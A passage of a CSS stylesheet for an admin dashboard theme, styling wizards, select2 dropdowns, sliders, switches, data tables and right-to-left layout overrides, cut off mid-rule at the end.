.sw-theme-progress > .nav .nav-link.active { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.active::after { background-color: #51459d; width: 100%; } .sw-theme-progress > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.done::after { background: #51459d; } .sw-theme-progress > .nav .nav-link.danger { color: #ffffff !important; cursor: pointer; } .sw-theme-progress > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-progress.sw-dark { color: rgba(255, 255, 255, 0.5); } .sw-theme-progress.sw-dark > .nav { background: #273142; border-bottom-color: #273142; } .sw-theme-progress.sw-dark > .nav .nav-link.active { color: white; } .sw-theme-progress.sw-dark > .nav .nav-link.active::after { background-color: #1c232f; } .sw-theme-progress.sw-dark > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress.sw-dark > .nav .nav-link.done::after { background: #1c232f; } .tabcontrol, .wizard { display: block; width: 100%; overflow: hidden; } .tabcontrol a, .wizard a { outline: 0; } .tabcontrol ul, .wizard ul { list-style: none !important; padding: 0; margin: 0; } .tabcontrol ul > li, .wizard ul > li { display: block; padding: 0; } /* Accessibility */ .tabcontrol > .content > .title, .tabcontrol > .steps .current-info, .wizard > .content > .title, .wizard > .steps .current-info { position: absolute; left: -999em; } /* Wizard */ .wizard > .steps { position: relative; display: block; width: 100%; } .wizard.vertical > .steps { display: inline; float: left; width: 30%; } .wizard.vertical > .steps > ul > li { float: none; width: 100%; } .wizard.vertical > .content { display: inline; float: left; margin: 0 2.5% 0.5em; width: 65%; } .wizard.vertical > .actions { display: inline; float: right; margin: 0 2.5%; width: 95%; } .wizard.vertical > .actions > ul > li { margin: 0 0 0 1em; } .wizard > .steps .number { font-size: 1.429em; } .wizard > .steps > ul > li { width: 25%; float: left; } .wizard > .actions > ul > li { float: left; } .wizard > .steps a { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps a:active, .wizard > .steps a:hover { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps .disabled a { background: #f8f9fd; color: #293240; cursor: default; opacity: 0.6; } .wizard > .steps .disabled a:active, .wizard > .steps .disabled a:hover { background: #f8f9fd; color: #293240; cursor: default; } .wizard > .steps .current a { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .current a:active, .wizard > .steps .current a:hover { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .done a { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .done a:active, .wizard > .steps .done a:hover { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .error a { background: #ff3a6e; color: #fff; } .wizard > .steps .error a:active, .wizard > .steps .error a:hover { background: #ff3a6e; color: #fff; } .wizard > .content { background: white; display: block; margin: 0.5em; min-height: 8em; overflow: hidden; position: relative; width: auto; border-radius: 5px; } .wizard > .content > .body { padding: 25px; } .wizard > .content > .body ul { list-style: disc !important; } .wizard > .content > .body ul > li { display: list-item; } .wizard > .content > .body > iframe { border: 0 none; width: 100%; height: 100%; } .wizard > .content > .body input.error { background: #fbe3e4; border-color: #ff3a6e; color: #ff3a6e; } .wizard > .content > .body label { display: inline-block; margin-bottom: 0.5em; } .wizard > .content > .body label.error { color: #ff3a6e; display: inline-block; margin-left: 1.5em; } .wizard > .actions { position: relative; display: block; text-align: right; width: 100%; } .wizard > .actions > ul { display: inline-block; text-align: right; } .wizard > .actions > ul > li { margin: 0 0.5em; } .wizard > .actions a { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions a:active, .wizard > .actions a:hover { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions .disabled a { background: #f8f9fd; color: #aaa; } .wizard > .actions .disabled a:active, .wizard > .actions .disabled a:hover { background: #f8f9fd; color: #aaa; } @media (max-width: 768px) { .wizard .steps > ul > li { width: 100%; } .wizard.vertical > .steps, .wizard.vertical > .content { width: 100%; } } .dash-wizard.wizard .number { display: none; } .dash-wizard.wizard > .steps a { display: flex; align-items: center; margin: 0.5em; position: relative; } .dash-wizard.wizard > .steps a:after { content: ""; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 20px; position: absolute; right: 0; top: 20px; opacity: 0.5; } .dash-wizard.wizard > .steps a span b { display: block; } .dash-wizard.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #f8f9fd; color: #293240; display: inline-flex; align-items: center; justify-content: center; } .dash-wizard.wizard > .steps a.disabled:hover { background: transparent; } .dash-wizard.wizard > .steps a:hover { display: flex; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-wizard.wizard > .steps .disabled a { background: transparent; } .dash-wizard.wizard > .steps .current a { background: transparent; color: inherit; } .dash-wizard.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-wizard.wizard > .steps .done a { background: transparent; } .dash-wizard.wizard > .steps .done a .num-icon { background: rgba(81, 69, 157, 0.2); color: #51459d; } .dash-wizard.wizard > .steps .done a span { color: #293240; } .dash-wizard.wizard > .content { margin: 0; border-radius: 0; border-top: 1px solid #f1f1f1; border-bottom: 1px solid #f1f1f1; } .dash-wizard.wizard > .actions { padding: 15px 25px 10px; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { margin: 0; background: white; width: 70%; border-left: 1px solid #f1f1f1; } .dash-wizard.wizard.vertical > .content { padding: 25px 25px 0; border-radius: 0 10px 0 0; } .dash-wizard.wizard.vertical .actions { padding: 25px; border-radius: 0 0 10px 0; } .dash-wizard.wizard.vertical > .steps { padding: 35px 10px; } .dash-wizard.wizard.vertical > .steps a:after { content: ""; right: 10px; } .dash-wizard.wizard.vertical > .steps > ul > li:last-child a:after { visibility: visible; } @media (max-width: 768px) { .dash-wizard.wizard > .steps a:after { right: 15px; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: visible; } .dash-wizard.wizard.vertical > .steps { padding: 0; } .dash-wizard.wizard.vertical > .content { padding: 0; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { width: 100%; } } .dash-tab-control.wizard .number { display: none; } .dash-tab-control.wizard > .steps a { display: flex; align-items: center; margin: 0.5em 0.5em 0; padding: 1em 1.6em; border-radius: 10px 10px 0 0; position: relative; background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps a span { color: #293240; } .dash-tab-control.wizard > .steps a span b { display: block; } .dash-tab-control.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #f8f9fd; display: inline-flex; align-items: center; justify-content: center; } .dash-tab-control.wizard > .steps a .num-icon .material-icons-two-tone { background-color: #293240; } .dash-tab-control.wizard > .steps a.disabled:hover { background: transparent; } .dash-tab-control.wizard > .steps a:hover { display: flex; } .dash-tab-control.wizard > .steps .done a:active, .dash-tab-control.wizard > .steps .done a:hover { background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps > ul > li:last-child a { margin-right: 0; } .dash-tab-control.wizard > .steps > ul > li:first-child a { margin-left: 0; } .dash-tab-control.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-tab-control.wizard > .steps .disabled a { background: transparent; } .dash-tab-control.wizard > .steps .current a { background: #fff; color: inherit; } .dash-tab-control.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-tab-control.wizard > .steps .current a .num-icon .material-icons-two-tone { background-color: #fff; } .dash-tab-control.wizard > .content { margin: 0; border-radius: 0 0 10px 10px; background: #ffffff; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); margin-bottom: 30px; } .dash-tab-control.wizard > .actions { padding: 15px 25px 10px; } @media (max-width: 768px) { .dash-tab-control.wizard > .steps a { margin: 0; border-radius: 10px; } } .wizard-step .error { color: #ff3a6e; } .progress { height: 6px; } .progress .ui-progressbar-value { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: 6px 6px; background-color: #51459d; animation: 1s linear infinite progress-bar-stripes; } .step-app > .step-steps { margin: 0; padding: 0; display: flex; overflow: hidden; } .step-app > .step-steps > li { list-style: none; flex: 1; cursor: pointer; display: block; padding: 20px 25px; background: #f8f9fd; color: #293240; text-decoration: none; border-radius: 10px; } .step-app > .step-steps > li + li { margin-left: 15px; } .step-app > .step-steps > li:hover { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li.active { background-color: #51459d; color: #fff; } .step-app > .step-steps > li.error { background-color: #ffd8e2; color: #ff3a6e; } .step-app > .step-steps > li.done { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li > .number { background: #fff; padding: 0 8px; display: inline-block; text-align: center; margin-right: 15px; border-radius: 3px; color: #333; } .step-app > .step-content { padding: 20px 25px; background: #fefeff; border-radius: 10px; margin-top: 15px; } .step-app > .step-content > .step-tab-panel { display: none; } .step-app > .step-content > .step-tab-panel.active { display: block; } .step-app > .step-footer { margin-top: 15px; margin-bottom: 15px; } .select2-container .select2-selection--single { height: calc(1.5em + 0.75rem + 2px); } .select2-container .select2-selection--single .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; } .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } .select2-container .select2-selection--multiple { min-height: 32px; } .select2-container .select2-selection--multiple .select2-selection__rendered { padding-left: 8px; } @media (max-width: 575px) { .select2-container { width: 100% !important; } } .select2-dropdown { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--single { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--single .select2-selection__arrow { height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--multiple { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: #51459d; border: 1px solid #51459d; color: #fff; border-radius: 3px; padding: 2px 10px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: #fff; margin-right: 8px; position: relative; padding: 0 8px 0 0; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: #fff; background: transparent; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 8px; margin-right: auto; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #ced4da 1px; outline: 0; } .select2-container--default .select2-search--dropdown .select2-search__field { border: 1px solid #ced4da; } .select2-container--default .select2-results__option[aria-selected=true] { background-color: #f8f9fd; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: #51459d; color: #fff; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #ced4da; border-radius: 3px; outline: 0; } .select2-container--classic .select2-selection--single:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #f8f9fd; border-left: 1px solid #ced4da; border-top-right-radius: 3px; border-bottom-right-radius: 3px; height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border-right: 1px solid #ced4da; border-radius: 0; border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #51459d; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #ced4da; } .select2-container--classic .select2-results__option--highlighted[aria-selected] { background-color: #3875d7; color: #fff; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #51459d; } /* nav */ .tns-controls { text-align: center; margin-bottom: 10px; } .tns-controls [aria-controls] { font-size: 15px; margin: 0 5px; padding: 0 1em; height: 2.5em; color: #fff; background: #51459d; border-radius: 3px; border: 0; } [data-action] { display: block; margin: 10px auto; font-size: 17px; min-width: 3em; text-align: center; background: transparent; border: 0; } .tns-controls [disabled] { color: #999999; background: #B3B3B3; cursor: not-allowed !important; } .tns-nav { text-align: center; margin: 10px 0; } .tns-nav > [aria-controls] { width: 9px; height: 9px; padding: 0; margin: 0 5px; border-radius: 50%; background: #ddd; border: 0; } .tns-nav > .tns-nav-active { background: #999; } .thumbnails { margin: 20px 0; text-align: center; } .thumbnails li { display: inline-block; cursor: pointer; border: 5px solid #fff; } .thumbnails .tns-nav-active { background: none; border-color: #51459d; } .thumbnails img { height: auto; width: 46px; } .customize-tools { position: relative; } .controls { text-align: center; } .controls li { display: block; position: absolute; top: 50%; height: 60px; line-height: 60px; margin-top: -30px; padding: 0 15px; cursor: pointer; font-size: 30px; transition: background 0.3s; } .controls .prev { left: 0; } .controls .next { right: 0; } .controls li:hover { background: #f2f2f2; } /** ===================== Switches css start ========================== **/ .slow .switch-group { transition: left 0.7s; -webkit-transition: left 0.7s; } .fast .switch-group { transition: left 0.1s; -webkit-transition: left 0.1s; } .quick .switch-group { transition: none; -webkit-transition: none; } .table.switch-table th, .table.switch-table td { vertical-align: middle; padding: 0.45rem .25rem; } .table.switch-table th .btn, .table.switch-table td .btn { margin-bottom: 0; } .switch.btn-outline-primary .switch-handle { background-color: #51459d !important; border-color: #51459d !important; } .switch.btn-outline-secondary .switch-handle { background-color: #6c757d !important; border-color: #6c757d !important; } .switch.btn-outline-success .switch-handle { background-color: #6fd943 !important; border-color: #6fd943 !important; } .switch.btn-outline-info .switch-handle { background-color: #3ec9d6 !important; border-color: #3ec9d6 !important; } .switch.btn-outline-warning .switch-handle { background-color: #ffa21d !important; border-color: #ffa21d !important; } .switch.btn-outline-danger .switch-handle { background-color: #ff3a6e !important; border-color: #ff3a6e !important; } .switch.btn-outline-light .switch-handle { background-color: #f8f9fa !important; border-color: #f8f9fa !important; } .switch.btn-outline-dark .switch-handle { background-color: #1c232f !important; border-color: #1c232f !important; } /**====== Switches css end ======**/ /** ===================== Data Tables css start ========================== **/ .table td, .table th { border-top: 1px solid #f1f1f1; border-bottom: 1px solid #f1f1f1; white-space: nowrap; padding: 0.7rem 0.75rem; } .table thead th { border-bottom: 1px solid #f1f1f1; font-size: 13px; color: #060606; background: #f8f9fd; text-transform: uppercase; } .table tbody + tbody { border-top: 2px solid #f1f1f1; } .table.table-dark thead th { background-color: #11171a; } .table.dataTable[class*="table-"] thead th { background: #f8f9fd; } .table > :not(:last-child) > :last-child > * { border-bottom-color: #f1f1f1; } .table > :not(:first-child) { border-top: none; } /* Border versions */ .table-bordered { border: 1px solid #f1f1f1; } .table-bordered td, .table-bordered th { border: 1px solid #f1f1f1; } /* Zebra-striping */ .table-striped tbody tr:nth-of-type(2n+1) { background-color: rgba(81, 69, 157, 0.03); } /* Hover effect */ .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } /* Table backgrounds */ .table .thead-dark th { color: #fff; background-color: #1c232f; border-color: #090b0f; } .table-dark { color: #fff; background-color: #1c232f; } .table-dark td, .table-dark th, .table-dark thead th { border-color: #090b0f; } .table-dark.table-striped tbody tr:nth-of-type(odd) { background-color: #181e29; } .table-dark.table-hover tbody tr:hover { background-color: #12171f; } .table-dark thead th { color: #fff; } /* fixed header position */ table.dataTable.fixedHeader-floating { top: calc(70px + 55px) !important; } @media screen and (max-width: 992px) { table.dataTable.fixedHeader-floating { display: none !important; } } @media screen and (max-width: 992px) { .fixedHeader-locked { display: none !important; } } /** ===================== Foo-table css start ========================== **/ .footable .pagination > .active > a, .footable .pagination > .active > span { background-color: #51459d; border-color: #51459d; } .footable .pagination > .active > a:focus, .footable .pagination > .active > a:hover, .footable .pagination > .active > span:focus, .footable .pagination > .active > span:hover { background-color: #51459d; border-color: #51459d; } .footable .pagination > li > a, .footable .pagination > li > span { color: #222; } .footable-details.table, .footable.table { margin-bottom: 0; } table.footable > tfoot > tr.footable-paging > td > span.label { margin-bottom: 0; } table.footable-paging-center > tfoot > tr.footable-paging > td { padding-bottom: 0; } .table-columned > tbody > tr > td { border: 0; border-left: 1px solid #f1f1f1; } .table-columned > tbody > tr > th { border: 0; } /**====== Foo-table css end ======**/ /**======= basic table css start =======**/ .table.table-xl td, .table.table-xl th { padding: 1.25rem 0.8rem; } .table.table-lg td, .table.table-lg th { padding: 0.9rem 0.8rem; } .table.table-de td, .table.table-de th { padding: 0.75rem 0.8rem; } .table.table-sm td, .table.table-sm th { padding: 0.6rem 0.8rem; } .table.table-xs td, .table.table-xs th { padding: 0.4rem 0.8rem; } /**======= basic table css end ======**/ #row-delete .selected, #row-select .selected { background-color: #51459d; color: #fff; } table.dataTable tbody > tr > .selected, table.dataTable tbody > tr.selected { background: #51459d; } table.dataTable tbody > tr > .selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { text-shadow: 1px 1px #e4f2fe, -1px -1px #e4f2fe, 1px -1px #e4f2fe, -1px 1px #e4f2fe; } div.dataTables_wrapper div.dataTables_length select { padding-right: 2rem; } table.dataTable tbody .selected td.select-checkbox:before, table.dataTable tbody .selected th.select-checkbox:before { border-color: #fff; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { content: '\2714'; margin-top: -11px; margin-left: -4px; text-align: center; } div.dt-button-info { position: fixed; top: 50%; left: 50%; width: 400px; margin-top: -100px; margin-left: -200px; background-color: #aba4d7; color: #51459d; border: 2px solid #51459d; box-shadow: 3px 3px 8px rgba(0, 0, 0, 0.3); border-radius: 3px; text-align: center; z-index: 21; } div.dt-button-info h2, div.dt-button-info .h2 { padding: 0.5em; margin: 0; font-weight: normal; color: #fff; border-bottom: 1px solid #51459d; background-color: #51459d; } div.dt-button-info > div { padding: 1em; } .dt-buttons { margin-bottom: 5px; } table.dataTable tbody td.focus, table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #51459d; } div.dtk-focus-alt table.dataTable tbody td.focus, div.dtk-focus-alt table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #ffa21d; background: rgba(255, 162, 29, 0.15); color: #ffa21d; } table.dataTable > thead .sorting:before, table.dataTable > thead .sorting:after, table.dataTable > thead .sorting_asc:before, table.dataTable > thead .sorting_asc:after, table.dataTable > thead .sorting_desc:before, table.dataTable > thead .sorting_desc:after, table.dataTable > thead .sorting_asc_disabled:before, table.dataTable > thead .sorting_asc_disabled:after, table.dataTable > thead .sorting_desc_disabled:before, table.dataTable > thead .sorting_desc_disabled:after { top: 13px; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { margin-top: -21px; margin-left: -7px; } /**====== Data Tables css end ======**/ .peity-chart + .peity { width: 100%; height: 250px; } [dir="rtl"] { direction: rtl; text-align: right; } [dir="rtl"] body .pct-customizer { right: auto; left: -360px; } [dir="rtl"] body .pct-customizer.active { right: auto; left: 0; } [dir="rtl"] body .pct-customizer .pct-c-btn { right: auto; left: 100%; } [dir="rtl"] body .pct-customizer .pct-c-btn .btn { border-radius: 0 8px 8px 0; } [dir="rtl"] .rtl-hide { display: none; } [dir="rtl"] .dash-container { margin-left: 0; margin-right: 255px; } [dir="rtl"] .dash-header { left: 0; right: 255px; } [dir="rtl"] .dash-header .dash-h-dropdown.dropdown-menu-end { right: auto !important; left: 0 !important; } [dir="rtl"] .dash-sidebar .dash-arrow { float: left; } [dir="rtl"] .dash-sidebar .dash-submenu .dash-link { padding: 10px 65px 10px 30px; } [dir="rtl"] .dash-sidebar .dash-submenu .dash-submenu .dash-link { padding: 10px 85px 10px 30px; } [dir="rtl"] .dash-sidebar.light-sidebar .dash-link .dash-micon { margin-right: 0; margin-left: 15px; } [dir="rtl"] .dash-footer { margin-left: 0; margin-right: 255px; } [dir="rtl"] .page-header h4, [dir="rtl"] .page-header .h4, [dir="rtl"] .page-header .h4 { margin-right: 0; padding-right: 0; margin-left: 8px; padding-left: 8px; } [dir="rtl"] .notification-modal .modal-dialog { margin: 0 auto 0 0; } [dir="rtl"] .notification-modal.modal.fade:not(.show) .modal-dialog { transform: translate(-310px, 0); } [dir="rtl"] body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:before { left: auto; right: 40px; } [dir="rtl"] body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu > .dash-item:before { left: auto; right: 60px; } @media (max-width: 1024px) { [dir="rtl"] .dash-header { right: 0; } [dir="rtl"] .dash-container { margin-right: 0; } [dir="rtl"] .dash-footer { margin-right: 0; } [dir="rtl"] .dash-sidebar { left: auto; right: -255px; } [dir="rtl"] .dash-sidebar.mob-sidebar-active { right: 0; } } [dir="rtl"] .p-l-0 { padding-right: 0px; padding-left: 0; } [dir="rtl"] .p-l-0[class*="col"] { padding-left: 15px; } [dir="rtl"] .p-r-0 { padding-left: 0px; padding-right: 0; } [dir="rtl"] .p-r-0[class*="col"] { padding-right: 15px; } [dir="rtl"] .m-l-0 { margin-right: 0px; margin-left: 0; } [dir="rtl"] .m-r-0 { margin-left: 0px; margin-right: 0; } [dir="rtl"] .p-l-5 { padding-right: 5px; padding-left: 0; } [dir="rtl"] .p-r-5 { padding-left: 5px; padding-right: 0; } [dir="rtl"] .m-l-5 { margin-right: 5px; margin-left: 0; } [dir="rtl"] .m-r-5 { margin-left: 5px; margin-right: 0; } [dir="rtl"] .p-l-10 { padding-right: 10px; padding-left: 0; } [dir="rtl"] .p-r-10 { padding-left: 10px; padding-right: 0; } [dir="rtl"] .m-l-10 { margin-right: 10px; margin-left: 0; } [dir="rtl"] .m-r-10 { margin-left: 10px; margin-right: 0; } [dir="rtl"] .p-l-15 { padding-right: 15px; padding-left: 0; } [dir="rtl"] .p-r-15 { padding-left: 15px; padding-right: 0; } [dir="rtl"] .m-l-15 { margin-right: 15px; margin-left: 0; } [dir="rtl"] .m-r-15 { margin-left: 15px; margin-right: 0; } [dir="rtl"] .p-l-20 { padding-right: 20px; padding-left: 0; } [dir="rtl"] .p-r-20 { padding-left: 20px; padding-right: 0; } [dir="rtl"] .m-l-20 { margin-right: 20px; margin-left: 0; } [dir="rtl"] .m-r-20 { margin-left: 20px; margin-right: 0; } [dir="rtl"] .p-l-25 { padding-right: 25px; padding-left: 0; } [dir="rtl"] .p-r-25 { padding-left: 25px; padding-right: 0; } [dir="rtl"] .m-l-25 { margin-right: 25px; margin-left: 0; } [dir="rtl"] .m-r-25 { margin-left: 25px; margin-right: 0; } [dir="rtl"] .p-l-30 { padding-right: 30px; padding-left: 0; } [dir="rtl"] .p-r-30 { padding-left: 30px; padding-right: 0; } [dir="rtl"] .m-l-30 { margin-right: 30px; margin-left: 0; } [dir="rtl"] .m-r-30 { margin-left: 30px; margin-right: 0; } [dir="rtl"] .p-l-35 { padding-right: 35px; padding-left: 0; } [dir="rtl"] .p-r-35 { padding-left: 35px; padding-right: 0; } [dir="rtl"] .m-l-35 { margin-right: 35px; margin-left: 0; } [dir="rtl"] .m-r-35 { margin-left: 35px; margin-right: 0; } [dir="rtl"] .p-l-40 { padding-right: 40px; padding-left: 0; } [dir="rtl"] .p-r-40 { padding-left: 40px; padding-right: 0; } [dir="rtl"] .m-l-40 { margin-right: 40px; margin-left: 0; } [dir="rtl"] .m-r-40 { margin-left: 40px; margin-right: 0; } [dir="rtl"] .p-l-45 { padding-right: 45px; padding-left: 0; } [dir="rtl"] .p-r-45 { padding-left: 45px; padding-right: 0; } [dir="rtl"] .m-l-45 { margin-right: 45px; margin-left: 0; } [dir="rtl"] .m-r-45 { margin-left: 45px; margin-right: 0; } [dir="rtl"] .p-l-50 { padding-right: 50px; padding-left: 0; } [dir="rtl"] .p-r-50 { padding-left: 50px; padding-right: 0; } [dir="rtl"] .m-l-50 { margin-right: 50px; margin-left: 0; } [dir="rtl"] .m-r-50 { margin-left: 50px; margin-right: 0; } [dir="rtl"] ol, [dir="rtl"] ul, [dir="rtl"] dl, [dir="rtl"] .list-group, [dir="rtl"] .list-unstyled { padding-right: 0; } [dir="rtl"] .breadcrumb-item + .breadcrumb-item::before { float: right; } [dir="rtl"] .dropdown-menu { text-align: right; } [dir="rtl"] .alert-dismissible { padding-right: 1.25rem; padding-left: 3.75rem; } [dir="rtl"] .alert-dismissible .btn-close { right: auto; left: 0; } [dir="rtl"] .accordion-button::after { margin-right: auto; margin-left: 0; } [dir="rtl"] .dropdown-toggle::after { margin-right: 0.255em; margin-left: 0; } [dir="rtl"] .modal-header .btn-close { margin-right: auto; margin-left: 0; } [dir="rtl"] .toast-header .btn-close { margin-right: 0.75rem; margin-left: -0.375rem; } [dir="rtl"] .card .card-header:not(.border-0) h5:after, [dir="rtl"] .card .card-header:not(.border-0) .h5:after, [dir="rtl"] .card .card-header:not(.border-0) .h5:after { right: -25px; left: auto; border-radius: 3px 0 0 3px; } @media (min-width: 576px) { [dir="rtl"] .card-group > .card:not(:first-child) { border-top-left-radius: 10px; border-bottom-left-radius: 10px; border-top-right-radius: 0; border-bottom-right-radius: 0; } [dir="rtl"] .card-group > .card:not(:first-child) .card-img-top { border-top-left-radius: 10px; border-top-right-radius: 0; } [dir="rtl"] .card-group > .card:not(:last-child) { border-top-right-radius: 10px; border-bottom-right-radius: 10px; } [dir="rtl"] .card-group > .card:not(:last-child) .card-img-top { border-top-right-radius: 10px; border-top-left-radius: 0; } } [dir="rtl"] .page-item:first-child .page-link { border-top-left-radius: 0; border-bottom-left-radius: 0; border-top-right-radius: 10px; border-bottom-right-radius: 10px; } [dir="rtl"] .page-item:last-child .page-link { border-top-left-radius: 10px; border-bottom-left-radius: 10px; border-top-right-radius: 0; border-bottom-right-radius: 0; } [dir="rtl"] .card:not(.table-card) .table tr td:first-child, [dir="rtl"] .card:not(.table-card) .table tr th:first-child { padding-right: 25px; } [dir="rtl"] .card:not(.table-card) .table tr td:last-child, [dir="rtl"] .card:not(.table-card) .table tr th:last-child { padding-left: 25px; } [dir="rtl"] .card .card-header .card-header-right { float: left; right: auto; left: 10px; } [dir="rtl"] .card .card-header .card-header-right .btn.dropdown-toggle { right: auto; left: 8px; } [dir="rtl"] .input-group:not(.has-validation) > :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu), [dir="rtl"] .input-group:not(.has-validation) > .dropdown-toggle:nth-last-child(n + 3) { border-top-right-radius: 6px; border-bottom-right-radius: 6px; border-top-left-radius: 0; border-bottom-left-radius: 0; } [dir="rtl"] .input-group > :last-child { border-top-left-radius: 6px !important; border-bottom-left-radius: 6px !important; } [dir="rtl"] .input-group > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback) { margin-left: 0; margin-right: -1px; border-top-right-radius: 0; border-bottom-right-radius: 0; } [dir="rtl"] .btn-group > .btn:nth-child(n + 3), [dir="rtl"] .btn-group > :not(.btn-check) + .btn, [dir="rtl"] .btn-group > .btn-group:not(:first-child) > .btn { border-top-left-radius: 6px; border-bottom-left-radius: 6px; border-top-right-radius: 0; border-bottom-right-radius: 0; } [dir="rtl"] .btn-group .btn:first-child { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } [dir="rtl"] .btn-group > .btn:not(:last-child):not(.dropdown-toggle), [dir="rtl"] .btn-group > .btn-group:not(:last-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } [dir="rtl"] select.form-control, [dir="rtl"] select.custom-select, [dir="rtl"] select.dataTable-selector, [dir="rtl"] select.dataTable-input, [dir="rtl"] select.custom-select, [dir="rtl"] select.dataTable-selector, [dir="rtl"] select.dataTable-input { background-position: 8px; } [dir="rtl"] .form-check { padding-right: 1.75em; padding-left: 0; } [dir="rtl"] .form-check .form-check-input { float: right; margin-right: -1.75em; } [dir="rtl"] .form-switch { padding-right: 2.5em; padding-left: 0; } [dir="rtl"] .form-switch .form-check-input { float: right; margin-right: -2.5em; } [dir="rtl"] .custom-switch-v1.form-switch { padding-right: 2.9em; } [dir="rtl"] .custom-switch-v1.form-switch .form-check-input { margin-right: -2.9em; } [dir="rtl"] .form-switch.form-switch-right { padding-right: 0; padding-left: 0; margin-bottom: 0; } [dir="rtl"] .form-switch.form-switch-right .form-check-input { float: left; margin-left: 0; } [dir="rtl"] .choices[data-type*="select-multiple"] .choices__button, [dir="rtl"] .choices[data-type*="text"] .choices__button { margin: 0 8px 0 -4px; border-left: none; border-right: 1px solid rgba(255, 255, 255, 0.35); } [dir="rtl"] .form-send .form-control, [dir="rtl"] .form-send .custom-select, [dir="rtl"] .form-send .dataTable-selector, [dir="rtl"] .form-send .dataTable-input { padding-left: 60px; padding-right: 1rem; } [dir="rtl"] .form-send .btn-send { left: 0; right: auto; } [dir="rtl"] .invoice-total .table td, 